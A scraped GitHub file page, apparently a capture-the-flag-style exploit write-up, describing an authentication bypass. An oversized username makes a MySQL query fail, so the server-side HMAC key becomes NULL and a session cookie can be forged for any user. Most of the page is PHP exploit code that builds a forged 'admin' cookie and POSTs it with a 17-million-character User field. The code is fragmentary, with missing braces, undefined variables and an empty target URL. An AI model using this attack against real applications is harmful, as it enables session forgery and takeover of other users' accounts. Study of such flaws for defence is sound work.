Skip to content
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
Cannot retrieve contributors at this time
by default mysql query size is ~16mb
it will make $sql = mysqli_query($con,"SELECT * FROM tab WHERE user='".mysqli_real_escape_string($con,$User)."' ") ; returns NULL!=0
and so $AuthKey=getAUTHkey($User); will return NULL as well
so you can forge now the session for any user since hmac secret will be resolved to NULL server side
function bake_cookie($user){
return base64_encode($hmac."-".$encrypted);
function encrypt_msg( $plain,$key ) {
$ivlen = openssl_cipher_iv_length($cipher);
$iv = openssl_random_pseudo_bytes($ivlen);
$encrypted = openssl_encrypt($plain, $cipher, $key, $options=0, $iv);
return trim( base64_encode( $encrypted ) );
function hmac_sign($message, $key) {
return hash_hmac('sha256', $message, $key);
$postdata = http_build_query(
'Auth' => bake_cookie(array("user"=>"admin","password"=>'foo')),
'User' => str_repeat('A', 17000000)
$opts = array('http' =>
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => $postdata
$context = stream_context_create($opts);
var_dump( file_get_contents('', false, $context) );